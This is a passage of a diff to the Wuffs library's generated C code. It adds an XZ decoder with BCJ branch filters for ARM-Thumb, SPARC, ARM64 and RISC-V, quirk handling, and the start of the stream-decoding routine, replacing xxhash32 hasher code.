self->private_impl.f_bcj_pos = ((uint32_t)(v_p - 8u)); ++ return ((uint8_t)(((uint64_t)(v_s.len)))); ++} ++ ++// -------- func xz.decoder.apply_filter_08_armthumb ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint8_t ++wuffs_xz__decoder__apply_filter_08_armthumb( ++ wuffs_xz__decoder* self, ++ wuffs_base__slice_u8 a_dst_slice) { ++ wuffs_base__slice_u8 v_s = {0}; ++ uint32_t v_p = 0; ++ uint32_t v_x = 0; ++ uint32_t v_y = 0; ++ ++ v_s = a_dst_slice; ++ v_p = ((uint32_t)(self->private_impl.f_bcj_pos + 4u)); ++ while (((uint64_t)(v_s.len)) >= 4u) { ++ v_x = ((((uint32_t)(v_s.ptr[0u])) << 0u) | ++ (((uint32_t)(v_s.ptr[1u])) << 8u) | ++ (((uint32_t)(v_s.ptr[2u])) << 16u) | ++ (((uint32_t)(v_s.ptr[3u])) << 24u)); ++ if ((v_x & 4160813056u) != 4160811008u) { ++ v_p += 2u; ++ v_s = wuffs_base__slice_u8__subslice_i(v_s, 2u); ++ continue; ++ } ++ v_y = ((((uint32_t)(((uint8_t)(v_s.ptr[0u] & 255u)))) << 11u) | ++ (((uint32_t)(((uint8_t)(v_s.ptr[1u] & 7u)))) << 19u) | ++ (((uint32_t)(((uint8_t)(v_s.ptr[2u] & 255u)))) << 0u) | ++ (((uint32_t)(((uint8_t)(v_s.ptr[3u] & 7u)))) << 8u)); ++ v_y = (((uint32_t)(((uint32_t)(v_y << 1u)) - v_p)) >> 1u); ++ v_s.ptr[0u] = ((uint8_t)((v_y >> 11u))); ++ v_s.ptr[1u] = ((uint8_t)((((v_y >> 19u) & 7u) | 240u))); ++ v_s.ptr[2u] = ((uint8_t)((v_y >> 0u))); ++ v_s.ptr[3u] = ((uint8_t)((((v_y >> 8u) & 7u) | 248u))); ++ v_p += 4u; ++ v_s = wuffs_base__slice_u8__subslice_i(v_s, 4u); ++ } ++ self->private_impl.f_bcj_pos = ((uint32_t)(v_p - 4u)); ++ return ((uint8_t)(((uint64_t)(v_s.len)))); ++} ++ ++// -------- func xz.decoder.apply_filter_09_sparc ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint8_t ++wuffs_xz__decoder__apply_filter_09_sparc( ++ wuffs_xz__decoder* self, ++ wuffs_base__slice_u8 a_dst_slice) { ++ wuffs_base__slice_u8 v_s = {0}; ++ uint32_t v_p = 0; ++ uint32_t v_x = 0; ++ ++ v_s = a_dst_slice; ++ v_p = self->private_impl.f_bcj_pos; ++ while (((uint64_t)(v_s.len)) >= 4u) { ++ v_x = ((((uint32_t)(v_s.ptr[0u])) << 24u) | ++ (((uint32_t)(v_s.ptr[1u])) << 16u) | ++ (((uint32_t)(v_s.ptr[2u])) << 8u) | ++ (((uint32_t)(v_s.ptr[3u])) << 0u)); ++ if (((v_x >> 22u) == 256u) || ((v_x >> 22u) == 511u)) { ++ v_x = (((uint32_t)(((uint32_t)(v_x << 2u)) - v_p)) >> 2u); ++ v_x = ((1073741824u - (v_x & 4194304u)) | 1073741824u | (v_x & 4194303u)); ++ v_s.ptr[0u] = ((uint8_t)((v_x >> 24u))); ++ v_s.ptr[1u] = ((uint8_t)((v_x >> 16u))); ++ v_s.ptr[2u] = ((uint8_t)((v_x >> 8u))); ++ v_s.ptr[3u] = ((uint8_t)((v_x >> 0u))); ++ } ++ v_p += 4u; ++ v_s = wuffs_base__slice_u8__subslice_i(v_s, 4u); ++ } ++ self->private_impl.f_bcj_pos = v_p; ++ return ((uint8_t)(((uint64_t)(v_s.len)))); ++} ++ ++// -------- func xz.decoder.apply_filter_0a_arm64 ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint8_t ++wuffs_xz__decoder__apply_filter_0a_arm64( ++ wuffs_xz__decoder* self, ++ wuffs_base__slice_u8 a_dst_slice) { ++ wuffs_base__slice_u8 v_s = {0}; ++ uint32_t v_p = 0; ++ uint32_t v_x = 0; ++ uint32_t v_y = 0; ++ ++ v_s = a_dst_slice; ++ v_p = self->private_impl.f_bcj_pos; ++ while (((uint64_t)(v_s.len)) >= 4u) { ++ v_x = ((((uint32_t)(v_s.ptr[0u])) << 0u) | ++ (((uint32_t)(v_s.ptr[1u])) << 8u) | ++ (((uint32_t)(v_s.ptr[2u])) << 16u) | ++ (((uint32_t)(v_s.ptr[3u])) << 24u)); ++ if ((v_x >> 26u) == 37u) { ++ v_y = ((uint32_t)(v_x - (v_p >> 2u))); ++ v_x = (2483027968u | (v_y & 67108863u)); ++ v_s.ptr[0u] = ((uint8_t)((v_x >> 0u))); ++ v_s.ptr[1u] = ((uint8_t)((v_x >> 8u))); ++ v_s.ptr[2u] = ((uint8_t)((v_x >> 16u))); ++ v_s.ptr[3u] = ((uint8_t)((v_x >> 24u))); ++ } else if ((v_x & 2667577344u) == 2415919104u) { ++ v_y = (((v_x >> 29u) & 3u) | ((v_x >> 3u) & 2097148u)); ++ if ((((uint32_t)(v_y + 131072u)) & 1835008u) == 0u) { ++ v_y -= (v_p >> 12u); ++ v_x &= 2415919135u; ++ v_x |= ((v_y & 3u) << 29u); ++ v_x |= ((v_y & 262140u) << 3u); ++ v_x |= (((uint32_t)(0u - (v_y & 131072u))) & 14680064u); ++ v_s.ptr[0u] = ((uint8_t)((v_x >> 0u))); ++ v_s.ptr[1u] = ((uint8_t)((v_x >> 8u))); ++ v_s.ptr[2u] = ((uint8_t)((v_x >> 16u))); ++ v_s.ptr[3u] = ((uint8_t)((v_x >> 24u))); ++ } ++ } ++ v_p += 4u; ++ v_s = wuffs_base__slice_u8__subslice_i(v_s, 4u); ++ } ++ self->private_impl.f_bcj_pos = v_p; ++ return ((uint8_t)(((uint64_t)(v_s.len)))); ++} ++ ++// -------- func xz.decoder.apply_filter_0b_riscv ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint8_t ++wuffs_xz__decoder__apply_filter_0b_riscv( ++ wuffs_xz__decoder* self, ++ wuffs_base__slice_u8 a_dst_slice) { ++ wuffs_base__slice_u8 v_s = {0}; ++ uint32_t v_p = 0; ++ uint32_t v_x = 0; ++ uint32_t v_x27 = 0; ++ uint32_t v_y = 0; ++ uint32_t v_addr = 0; ++ ++ v_s = a_dst_slice; ++ v_p = self->private_impl.f_bcj_pos; ++ while (((uint64_t)(v_s.len)) >= 8u) { ++ if (v_s.ptr[0u] == 239u) { ++ if (((uint8_t)(v_s.ptr[1u] & 13u)) != 0u) { ++ v_p += 2u; ++ v_s = wuffs_base__slice_u8__subslice_i(v_s, 2u); ++ continue; ++ } ++ v_addr = ((((uint32_t)(((uint8_t)(v_s.ptr[1u] & 240u)))) << 13u) | (((uint32_t)(v_s.ptr[2u])) << 9u) | (((uint32_t)(v_s.ptr[3u])) << 1u)); ++ v_addr -= v_p; ++ v_s.ptr[1u] = ((uint8_t)(((uint8_t)(v_s.ptr[1u] & 15u)) | ((uint8_t)(((v_addr >> 8u) & 240u))))); ++ v_s.ptr[2u] = ((uint8_t)((((v_addr >> 16u) & 15u) | ((v_addr >> 7u) & 16u) | (((uint32_t)(v_addr << 4u)) & 224u)))); ++ v_s.ptr[3u] = ((uint8_t)((((v_addr >> 4u) & 127u) | ((v_addr >> 13u) & 128u)))); ++ v_p += 4u; ++ v_s = wuffs_base__slice_u8__subslice_i(v_s, 4u); ++ continue; ++ } else if (((uint8_t)(v_s.ptr[0u] & 127u)) == 23u) { ++ v_x = ((((uint32_t)(v_s.ptr[0u])) << 0u) | ++ (((uint32_t)(v_s.ptr[1u])) << 8u) | ++ (((uint32_t)(v_s.ptr[2u])) << 16u) | ++ (((uint32_t)(v_s.ptr[3u])) << 24u)); ++ if ((v_x & 3712u) != 0u) { ++ v_y = ((((uint32_t)(v_s.ptr[4u])) << 0u) | ++ (((uint32_t)(v_s.ptr[5u])) << 8u) | ++ (((uint32_t)(v_s.ptr[6u])) << 16u) | ++ (((uint32_t)(v_s.ptr[7u])) << 24u)); ++ if (((((uint32_t)(v_x << 8u)) ^ ((uint32_t)(v_y - 3u))) & 1015811u) != 0u) { ++ v_p += 6u; ++ v_s = wuffs_base__slice_u8__subslice_i(v_s, 6u); ++ continue; ++ } ++ v_addr = ((v_x & 4294963200u) | (v_y >> 20u)); ++ v_x = (279u | ((uint32_t)(v_y << 12u))); ++ v_s.ptr[0u] = ((uint8_t)((v_x >> 0u))); ++ v_s.ptr[1u] = ((uint8_t)((v_x >> 8u))); ++ v_s.ptr[2u] = ((uint8_t)((v_x >> 16u))); ++ v_s.ptr[3u] = ((uint8_t)((v_x >> 24u))); ++ v_s.ptr[4u] = ((uint8_t)((v_addr >> 0u))); ++ v_s.ptr[5u] = ((uint8_t)((v_addr >> 8u))); ++ v_s.ptr[6u] = ((uint8_t)((v_addr >> 16u))); ++ v_s.ptr[7u] = ((uint8_t)((v_addr >> 24u))); ++ v_p += 8u; ++ v_s = wuffs_base__slice_u8__subslice_i(v_s, 8u); ++ continue; ++ } ++ v_x27 = (v_x >> 27u); ++ if (((uint32_t)(((uint32_t)(v_x - 12567u)) << 18u)) >= (v_x27 & 29u)) { ++ v_p += 4u; ++ v_s = wuffs_base__slice_u8__subslice_i(v_s, 4u); ++ continue; ++ } ++ v_addr = ((((uint32_t)(v_s.ptr[4u])) << 24u) | ++ (((uint32_t)(v_s.ptr[5u])) << 16u) | ++ (((uint32_t)(v_s.ptr[6u])) << 8u) | ++ (((uint32_t)(v_s.ptr[7u])) << 0u)); ++ v_addr -= v_p; ++ v_y = ((v_x >> 12u) | ((uint32_t)(v_addr << 20u))); ++ v_x = (23u | (v_x27 << 7u) | (((uint32_t)(v_addr + 2048u)) & 4294963200u)); ++ v_s.ptr[0u] = ((uint8_t)((v_x >> 0u))); ++ v_s.ptr[1u] = ((uint8_t)((v_x >> 8u))); ++ v_s.ptr[2u] = ((uint8_t)((v_x >> 16u))); ++ v_s.ptr[3u] = ((uint8_t)((v_x >> 24u))); ++ v_s.ptr[4u] = ((uint8_t)((v_y >> 0u))); ++ v_s.ptr[5u] = ((uint8_t)((v_y >> 8u))); ++ v_s.ptr[6u] = ((uint8_t)((v_y >> 16u))); ++ v_s.ptr[7u] = ((uint8_t)((v_y >> 24u))); ++ v_p += 8u; ++ v_s = wuffs_base__slice_u8__subslice_i(v_s, 8u); ++ continue; ++ } ++ v_p += 2u; ++ v_s = wuffs_base__slice_u8__subslice_i(v_s, 2u); ++ } ++ self->private_impl.f_bcj_pos = v_p; ++ return ((uint8_t)(((uint64_t)(v_s.len)))); ++} ++ ++// -------- func xz.decoder.get_quirk + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_xxhash32__hasher__get_quirk( +- const wuffs_xxhash32__hasher* self, ++wuffs_xz__decoder__get_quirk( ++ const wuffs_xz__decoder* self, + uint32_t a_key) { + if (!self) { + return 0; +@@ -61527,15 +77160,24 @@ wuffs_xxhash32__hasher__get_quirk( + return 0; + } + ++ if (a_key == 1u) { ++ if (self->private_impl.f_ignore_checksum) { ++ return 1u; ++ } ++ } else if (a_key == 2021322752u) { ++ if (self->private_impl.f_standalone_format) { ++ return 1u; ++ } ++ } + return 0u; + } + +-// -------- func xxhash32.hasher.set_quirk ++// -------- func xz.decoder.set_quirk + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_xxhash32__hasher__set_quirk( +- wuffs_xxhash32__hasher* self, ++wuffs_xz__decoder__set_quirk( ++ wuffs_xz__decoder* self, + uint32_t a_key, + uint64_t a_value) { + if (!self) { +@@ -61548,747 +77190,1667 @@ wuffs_xxhash32__hasher__set_quirk( + : wuffs_base__error__initialize_not_called); + } + ++ if (a_key == 1u) { ++ self->private_impl.f_ignore_checksum = (a_value > 0u); ++ return wuffs_base__make_status(NULL); ++ } else if (a_key == 2021322752u) { ++ self->private_impl.f_standalone_format = (a_value > 0u); ++ return wuffs_base__make_status(NULL); ++ } + return wuffs_base__make_status(wuffs_base__error__unsupported_option); + } + +-// -------- func xxhash32.hasher.update ++// -------- func xz.decoder.dst_history_retain_length + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct +-wuffs_xxhash32__hasher__update( +- wuffs_xxhash32__hasher* self, +- wuffs_base__slice_u8 a_x) { ++WUFFS_BASE__MAYBE_STATIC wuffs_base__optional_u63 ++wuffs_xz__decoder__dst_history_retain_length( ++ const wuffs_xz__decoder* self) { + if (!self) { +- return wuffs_base__make_empty_struct(); ++ return wuffs_base__utility__make_optional_u63(false, 0u); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__make_optional_u63(false, 0u); ++ } ++ ++ return wuffs_lzma__decoder__dst_history_retain_length(&self->private_data.f_lzma); ++} ++ ++// -------- func xz.decoder.workbuf_len ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_xz__decoder__workbuf_len( ++ const wuffs_xz__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ ++ return wuffs_lzma__decoder__workbuf_len(&self->private_data.f_lzma); ++} ++ ++// -------- func xz.decoder.transform_io ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_xz__decoder__transform_io( ++ wuffs_xz__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); + } + if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_empty_struct(); ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_dst || !a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 1)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ ++ uint32_t coro_susp_point = self->private_impl.p_transform_io; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (true) { ++ { ++ wuffs_base__status t_0 = wuffs_xz__decoder__do_transform_io(self, a_dst, a_src, a_workbuf); ++ v_status = t_0; ++ } ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_xz__error__truncated_input); ++ goto exit; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } ++ ++ ok: ++ self->private_impl.p_transform_io = 0; ++ goto exit; + } + +- wuffs_base__slice_u8 v_remaining = {0}; ++ goto suspend; ++ suspend: ++ self->private_impl.p_transform_io = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; + +- if ((self->private_impl.f_length_modulo_u32 == 0u) && ! self->private_impl.f_length_overflows_u32) { +- self->private_impl.f_v0 = 606290984u; +- self->private_impl.f_v1 = 2246822519u; +- self->private_impl.f_v2 = 0u; +- self->private_impl.f_v3 = 1640531535u; +- } +- while (((uint64_t)(a_x.len)) > 0u) { +- v_remaining = wuffs_base__slice_u8__subslice_j(a_x, 0u); +- if (((uint64_t)(a_x.len)) > 16777216u) { +- v_remaining = wuffs_base__slice_u8__subslice_i(a_x, 16777216u); +- a_x = wuffs_base__slice_u8__subslice_j(a_x, 16777216u); +- } +- wuffs_xxhash32__hasher__up(self, a_x); +- a_x = v_remaining; ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; + } +- return wuffs_base__make_empty_struct(); ++ return status; + } + +-// -------- func xxhash32.hasher.update_u32 ++// -------- func xz.decoder.do_transform_io + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint32_t +-wuffs_xxhash32__hasher__update_u32( +- wuffs_xxhash32__hasher* self, +- wuffs_base__slice_u8 a_x) { +- if (!self) { +- return 0; +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return 0; +- } ++static wuffs_base__status ++wuffs_xz__decoder__do_transform_io( ++ wuffs_xz__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +- wuffs_xxhash32__hasher__update(self, a_x); +- return wuffs_xxhash32__hasher__checksum_u32(self); +-} ++ uint64_t v_header_magic = 0; ++ uint64_t v_dmark = 0; ++ uint64_t v_smark = 0; ++ uint8_t v_i8 = 0; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ uint32_t v_checksum32_have = 0; ++ uint32_t v_checksum32_want = 0; ++ uint64_t v_checksum64_have = 0; ++ uint64_t v_checksum64_want = 0; ++ wuffs_base__bitvec256 v_checksum256_have = {0}; ++ uint64_t v_compressed_size = 0; ++ uint64_t v_uncompressed_size = 0; ++ uint32_t v_hash = 0; ++ uint8_t v_c8 = 0; ++ uint32_t v_c32 = 0; ++ uint16_t v_footer_magic = 0; + +-// -------- func xxhash32.hasher.up ++ uint8_t* iop_a_dst = NULL; ++ uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_dst && a_dst->data.ptr) { ++ io0_a_dst = a_dst->data.ptr; ++ io1_a_dst = io0_a_dst + a_dst->meta.wi; ++ iop_a_dst = io1_a_dst; ++ io2_a_dst = io0_a_dst + a_dst->data.len; ++ if (a_dst->meta.closed) { ++ io2_a_dst = iop_a_dst; ++ } ++ } ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_xxhash32__hasher__up( +- wuffs_xxhash32__hasher* self, +- wuffs_base__slice_u8 a_x) { +- uint32_t v_new_lmu = 0; +- uint32_t v_buf_u32 = 0; +- uint32_t v_buf_len = 0; +- uint32_t v_v0 = 0; +- uint32_t v_v1 = 0; +- uint32_t v_v2 = 0; +- uint32_t v_v3 = 0; +- wuffs_base__slice_u8 v_p = {0}; ++ uint32_t coro_susp_point = self->private_impl.p_do_transform_io; ++ if (coro_susp_point) { ++ v_checksum32_have = self->private_data.s_do_transform_io.v_checksum32_have; ++ v_checksum32_want = self->private_data.s_do_transform_io.v_checksum32_want; ++ v_checksum256_have = self->private_data.s_do_transform_io.v_checksum256_have; ++ v_compressed_size = self->private_data.s_do_transform_io.v_compressed_size; ++ v_uncompressed_size = self->private_data.s_do_transform_io.v_uncompressed_size; ++ } ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- v_new_lmu = ((uint32_t)(self->private_impl.f_length_modulo_u32 + ((uint32_t)(((uint64_t)(a_x.len)))))); +- self->private_impl.f_length_overflows_u32 = ((v_new_lmu < self->private_impl.f_length_modulo_u32) || self->private_impl.f_length_overflows_u32); +- self->private_impl.f_length_modulo_u32 = v_new_lmu; +- while (true) { +- if (self->private_impl.f_buf_len >= 16u) { +- v_buf_u32 = (((uint32_t)(self->private_impl.f_buf_data[0u])) | +- (((uint32_t)(self->private_impl.f_buf_data[1u])) << 8u) | +- (((uint32_t)(self->private_impl.f_buf_data[2u])) << 16u) | +- (((uint32_t)(self->private_impl.f_buf_data[3u])) << 24u)); +- v_v0 = ((uint32_t)(self->private_impl.f_v0 + ((uint32_t)(v_buf_u32 * 2246822519u)))); +- v_v0 = (((uint32_t)(v_v0 << 13u)) | (v_v0 >> 19u)); +- self->private_impl.f_v0 = ((uint32_t)(v_v0 * 2654435761u)); +- v_buf_u32 = (((uint32_t)(self->private_impl.f_buf_data[4u])) | +- (((uint32_t)(self->private_impl.f_buf_data[5u])) << 8u) | +- (((uint32_t)(self->private_impl.f_buf_data[6u])) << 16u) | +- (((uint32_t)(self->private_impl.f_buf_data[7u])) << 24u)); +- v_v1 = ((uint32_t)(self->private_impl.f_v1 + ((uint32_t)(v_buf_u32 * 2246822519u)))); +- v_v1 = (((uint32_t)(v_v1 << 13u)) | (v_v1 >> 19u)); +- self->private_impl.f_v1 = ((uint32_t)(v_v1 * 2654435761u)); +- v_buf_u32 = (((uint32_t)(self->private_impl.f_buf_data[8u])) | +- (((uint32_t)(self->private_impl.f_buf_data[9u])) << 8u) | +- (((uint32_t)(self->private_impl.f_buf_data[10u])) << 16u) | +- (((uint32_t)(self->private_impl.f_buf_data[11u])) << 24u)); +- v_v2 = ((uint32_t)(self->private_impl.f_v2 + ((uint32_t)(v_buf_u32 * 2246822519u)))); +- v_v2 = (((uint32_t)(v_v2 << 13u)) | (v_v2 >> 19u)); +- self->private_impl.f_v2 = ((uint32_t)(v_v2 * 2654435761u)); +- v_buf_u32 = (((uint32_t)(self->private_impl.f_buf_data[12u])) | +- (((uint32_t)(self->private_impl.f_buf_data[13u])) << 8u) | +- (((uint32_t)(self->private_impl.f_buf_data[14u])) << 16u) | +- (((uint32_t)(self->private_impl.f_buf_data[15u])) << 24u)); +- v_v3 = ((uint32_t)(self->private_impl.f_v3 + ((uint32_t)(v_buf_u32 * 2246822519u)))); +- v_v3 = (((uint32_t)(v_v3 << 13u)) | (v_v3 >> 19u)); +- self->private_impl.f_v3 = ((uint32_t)(v_v3 * 2654435761u)); +- self->private_impl.f_buf_len = 0u; +- break; +- } +- if (((uint64_t)(a_x.len)) <= 0u) { +- return wuffs_base__make_empty_struct(); +- } +- self->private_impl.f_buf_data[self->private_impl.f_buf_len] = a_x.ptr[0u]; ++ while (true) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ uint64_t t_0; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 6)) { ++ t_0 = ((uint64_t)(wuffs_base__peek_u48le__no_bounds_check(iop_a_src))); ++ iop_a_src += 6; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; ++ if (num_bits_0 == 40) { ++ t_0 = ((uint64_t)(*scratch)); ++ break; ++ } ++ num_bits_0 += 8u; ++ *scratch |= ((uint64_t)(num_bits_0)) << 56; ++ } ++ } ++ v_header_magic = t_0; ++ } ++ if (v_header_magic != 388031461373u) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_header); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ uint64_t t_1; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 6)) { ++ t_1 = ((uint64_t)(wuffs_base__peek_u48le__no_bounds_check(iop_a_src))); ++ iop_a_src += 6; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; ++ if (num_bits_1 == 40) { ++ t_1 = ((uint64_t)(*scratch)); ++ break; ++ } ++ num_bits_1 += 8u; ++ *scratch |= ((uint64_t)(num_bits_1)) << 56; ++ } ++ } ++ v_header_magic = t_1; ++ } ++ if (v_header_magic == 72400582410240u) { ++ self->private_impl.f_checksummer = 0u; ++ } else if (v_header_magic == 60327687946496u) { ++ self->private_impl.f_checksummer = 1u; ++ } else if (v_header_magic == 77742513456128u) { ++ self->private_impl.f_checksummer = 2u; ++ } else if (v_header_magic == 177077137508864u) { ++ self->private_impl.f_checksummer = 3u; ++ } else if ((v_header_magic & 61695u) != 0u) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_header); ++ goto exit; ++ } else { ++ v_header_magic = (15u & (v_header_magic >> 8u)); ++ if ((v_header_magic != 0u) && ++ (v_header_magic != 1u) && ++ (v_header_magic != 4u) && ++ (v_header_magic != 10u)) { ++ status = wuffs_base__make_status(wuffs_xz__error__unsupported_checksum_algorithm); ++ goto exit; ++ } ++ status = wuffs_base__make_status(wuffs_xz__error__bad_checksum); ++ goto exit; ++ } ++ self->private_impl.f_flags = ((uint16_t)(v_header_magic)); ++ self->private_impl.f_num_actual_blocks = 0u; ++ while (true) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); ++ continue; ++ } else if (wuffs_base__peek_u8be__no_bounds_check(iop_a_src) == 0u) { ++ break; ++ } ++ self->private_impl.f_num_actual_blocks += 1u; ++ if ( ! self->private_impl.f_ignore_checksum) { ++ wuffs_private_impl__ignore_status(wuffs_crc32__ieee_hasher__initialize(&self->private_data.f_crc32, ++ sizeof (wuffs_crc32__ieee_hasher), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); ++ } ++ self->private_impl.f_compressed_size_for_index = 4u; ++ while (true) { ++ v_smark = ((uint64_t)(iop_a_src - io0_a_src)); ++ { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ wuffs_base__status t_2 = wuffs_xz__decoder__decode_block_header_with_padding(self, a_src); ++ v_status = t_2; ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ } ++ wuffs_private_impl__u64__sat_add_indirect(&self->private_impl.f_compressed_size_for_index, wuffs_private_impl__io__count_since(v_smark, ((uint64_t)(iop_a_src - io0_a_src)))); ++ if ( ! self->private_impl.f_ignore_checksum) { ++ v_checksum32_have = wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_private_impl__io__since(v_smark, ((uint64_t)(iop_a_src - io0_a_src)), io0_a_src)); ++ } ++ if (wuffs_base__status__is_ok(&v_status)) { ++ break; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(6); ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ uint32_t t_3; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_3 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_3 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_3; ++ if (num_bits_3 == 24) { ++ t_3 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_3 += 8u; ++ *scratch |= ((uint64_t)(num_bits_3)) << 56; ++ } ++ } ++ v_checksum32_want = t_3; ++ } ++ if (self->private_impl.f_ignore_checksum) { ++ } else if (v_checksum32_have != v_checksum32_want) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_checksum); ++ goto exit; ++ } else { ++ wuffs_private_impl__ignore_status(wuffs_crc32__ieee_hasher__initialize(&self->private_data.f_crc32, ++ sizeof (wuffs_crc32__ieee_hasher), WUFFS_VERSION, 